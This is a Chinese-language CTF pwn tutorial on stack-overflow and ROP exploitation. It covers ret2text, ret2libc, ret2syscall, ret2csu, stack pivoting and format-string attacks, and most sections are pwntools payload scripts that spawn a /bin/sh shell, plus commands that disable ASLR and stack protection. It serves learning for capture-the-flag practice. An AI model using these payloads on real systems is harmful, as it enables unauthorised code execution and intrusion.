CTF-Pwn从栈溢出到系统调用:ROP攻击全景图解与实战进阶指南(万字超详版)
字数 1936 2025-12-16 12:37:50
CTF-Pwn从栈溢出到系统调用:ROP攻击全景图解与实战进阶指南
一、栈溢出原理与基础利用
1.1 栈溢出基本概念
栈溢出是指程序向栈上的局部缓冲区写入了超过其分配大小的数据,导致多余的数据溢出并覆盖了栈中相邻的重要信息,如各个寄存器和函数的返回地址。攻击者可以利用这一点精心构造输入数据,篡改返回地址,使程序跳转到恶意代码所在的位置执行。
发生栈溢出的基本前提:
- 程序必须向栈上写入数据
- 写入的数据大小没有被良好地控制
1.2 基础栈溢出利用实例
编译配置
gcc -m32 -fno-stack-protector -no-pie -o zhan zhan.c
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
栈布局分析
假设存在漏洞函数:
void echo_input() {
char buffer[0x18]; // ebp - 0x18
gets(buffer);
}
偏移量计算:
- buffer起始于
ebp - 0x18 - 保存的ebp在
ebp处 - 返回地址在
ebp + 4 - 总偏移量:
0x18 + 4 = 0x1c(28字节)
利用脚本编写
from pwn import *
context(arch='i386', os='linux')
p = process('./zhan')
win_addr = 0x08049186
payload = b'A' * 0x1c + p32(win_addr)
p.sendline(payload)
p.interactive()
二、初级ROP攻击技术
2.1 ret2text
原理: 程序的.text段中已经存在可以直接getshell的代码,通过栈溢出将返回地址覆盖为后门函数地址。
利用条件:
- 存在后门函数(如system("/bin/sh"))
- 已知后门函数地址
实例分析:
from pwn import *
system_addr = 0x08048460
binsh_addr = 0x08048720
offset = 0x88 + 4 # 140字节
payload = b'A' * offset + p32(system_addr) + p32(0) + p32(binsh_addr)
2.2 ret2libc
2.2.1 32位ret2libc
技术原理: 利用libc中已有的高危函数(如system)执行系统命令。
利用步骤:
- 泄露libc函数地址(如write、puts)
- 计算libc基地址
- 获取system和"/bin/sh"地址
- 构造ROP链
典型利用脚本:
from pwn import *
# 第一次利用:泄露libc地址
payload1 = b'\x00'*7 + b'\xff' + b'A'*(0xe7+4-8)
payload1 += p32(elf.plt['write']) + p32(main_addr)
payload1 += p32(1) + p32(elf.got['write']) + p32(4)
# 第二次利用:执行system("/bin/sh")
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'A'*(0xe7+4) + p32(system_addr) + p32(0) + p32(binsh_addr)
2.2.2 64位ret2libc
关键差异: 64位使用寄存器传参(rdi, rsi, rdx, rcx, r8, r9)
利用要点:
- 需要找到
pop rdi; ret等gadget - 参数通过寄存器传递
典型利用:
# 泄露canary和libc地址
pop_rdi = 0x400a93
ret = 0x4006ae
# 第一次:泄露canary和libc
payload1 = b'A'*(0x50-0x8) + p64(canary) + p64(rbp)
payload1 += p64(pop_rdi) + p64(elf.got['puts'])
payload1 += p64(elf.plt['puts']) + p64(main_addr)
# 第二次:getshell
payload2 = b'A'*(0x50-0x8) + p64(canary) + p64(rbp)
payload2 += p64(ret) + p64(pop_rdi) + p64(binsh_addr)
payload2 += p64(system_addr)
2.3 ret2syscall
2.3.1 32位ret2syscall
系统调用设置:
- eax = 0xb (execve系统调用号)
- ebx = "/bin/sh"字符串地址
- ecx = 0
- edx = 0
gadget查找:
ROPgadget --binary ./binary --only "pop|ret"
典型利用:
pop_eax = 0x080bb196
pop_ebx_ecx_edx = 0x0806eb90
binsh = 0x080be408
int_0x80 = 0x08049421
payload = b'A'*offset
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_ebx_ecx_edx) + p32(binsh) + p32(0) + p32(0)
payload += p32(int_0x80)
2.3.2 64位ret2syscall
系统调用设置:
- rax = 0x3b (execve系统调用号)
- rdi = "/bin/sh"字符串地址
- rsi = 0
- rdx = 0
利用技巧: 当缺少"/bin/sh"字符串时,可写入.bss段
典型利用:
pop_rax = 0x0000000000415714
pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x000000000044a155
syscall = 0x000000000040246c
bss_addr = 0x00000000004c5000
# 写入"/bin/sh"到.bss段
payload = b'A'*(0x50+8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss_addr)
payload += p64(pop_rdx) + p64(8)
payload += p64(elf.plt['read'])
payload += p64(pop_rdi) + p64(bss_addr)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)
2.4 通用ROP(ret2csu)
2.4.1 技术原理
利用__libc_csu_init中的通用gadget控制rdi、rsi、rdx寄存器。
关键gadget:
# 第一段:设置寄存器
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# 第二段:传递参数
mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]
2.4.2 利用条件
- rbx = 0
- rbp = 1(确保循环只执行一次)
- r12 = 目标函数GOT地址
- r13 = edi参数值
- r14 = rsi参数值
- r15 = rdx参数值
2.4.3 典型利用
csu_pop = 0x4012AA
csu_mov = 0x401290
vuln_addr = 0x4011B9
# 第一次:泄露write地址
payload = b'A'*(0x100+8)
payload += p64(csu_pop) + p64(0) + p64(1) + p64(elf.got['write'])
payload += p64(8) + p64(elf.got['write']) + p64(1) # r13,r14,r15
payload += p64(csu_mov)
payload += b'\x00'*0x38 # 栈平衡
payload += p64(vuln_addr) # 返回vuln进行第二次利用
2.5 栈迁移技术
2.5.1 技术原理
当栈溢出空间不足时,将栈指针迁移到可控内存区域(如.bss段)。
关键条件:
- 能控制某内存区域内容
- 能找到修改rsp的gadget(如
leave; ret)
2.5.2 利用步骤
- 第一次迁移: 修改rbp指向可控区域
- 第二次迁移: 通过leave指令将rsp指向新栈
- 布置ROP链: 在新栈位置布置完整利用链
2.5.3 典型利用
bss_addr = 0x404900
leave_ret = 0x4012a1
pop_rdi = 0x4012a3
# 第一次:改变rbp
payload1 = b'A'*0x40 + p64(bss_addr) + p64(0x4011dd)
# 第二次:改变rsp并布置ROP链
payload2 = p64(bss_addr + 0x40) # 新rbp
payload2 += p64(pop_rdi) + p64(elf.got['puts'])
payload2 += p64(elf.plt['puts']) + p64(0x4011a9)
三、格式化字符串漏洞
3.1 漏洞原理
当程序使用用户输入作为printf等函数的格式字符串参数时,攻击者可通过特殊格式符实现内存读写。
3.2 漏洞利用技术
3.2.1 信息泄露
确定偏移量:
payload = b"AAAA.%x.%x.%x.%x.%x.%x"
# 观察61616161(AAAA)出现的位置即为偏移量
泄露GOT表地址:
payload = p32(elf.got['printf']) + b"%4$s"
3.2.2 内存覆盖
覆盖栈变量:
# 确定变量地址和偏移量
payload = p32(c_addr) + b"%6$n" # 将c的值修改为4
任意地址写:
# 分次写入(应对地址随机化)
def write_byte(addr, value):
payload = p32(addr) + f"%{value}c%6$hhn".encode()
3.3 防护绕过技巧
- ASLR绕过: 通过信息泄露获取基地址
- PIE绕过: 利用信息泄露计算实际地址
- 栈保护绕过: 格式化字符串漏洞通常不影响canary
四、防护机制与绕过策略
4.1 常见防护机制
- NX/DEP: 数据执行保护 - 使用ROP技术绕过
- ASLR: 地址空间布局随机化 - 信息泄露获取基地址
- Stack Canary: 栈保护 - 信息泄露或格式化字符串绕过
- PIE: 位置无关可执行 - 信息泄露计算偏移
4.2 综合利用策略
- 信息收集: 检查保护机制,寻找可用gadget
- 漏洞利用: 根据漏洞类型选择合适技术
- 链式攻击: 组合多种技术实现完整利用
- 稳定性优化: 处理异常情况,提高利用成功率
五、实战技巧与调试方法
5.1 调试技巧
# 使用gdb调试
gdb.attach(p, gdbscript='''
b *0x401000
c
''')
5.2 偏移计算工具
# 自动化偏移计算
def find_offset(binary):
pattern = cyclic(100)
# 发送pattern并分析崩溃地址
return cyclic_find(crash_addr)
5.3 利用脚本模板
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64' # 或'i386'
def exploit():
if args.REMOTE:
p = remote('host', port)
else:
p = process('./binary')
# 利用代码...
p.interactive()
if __name__ == '__main__':
exploit()
本指南涵盖了从基础栈溢出到高级ROP利用的完整知识体系,通过实际案例演示了各种技术的应用场景和实现方法,为CTF-Pwn学习提供了系统性的技术参考。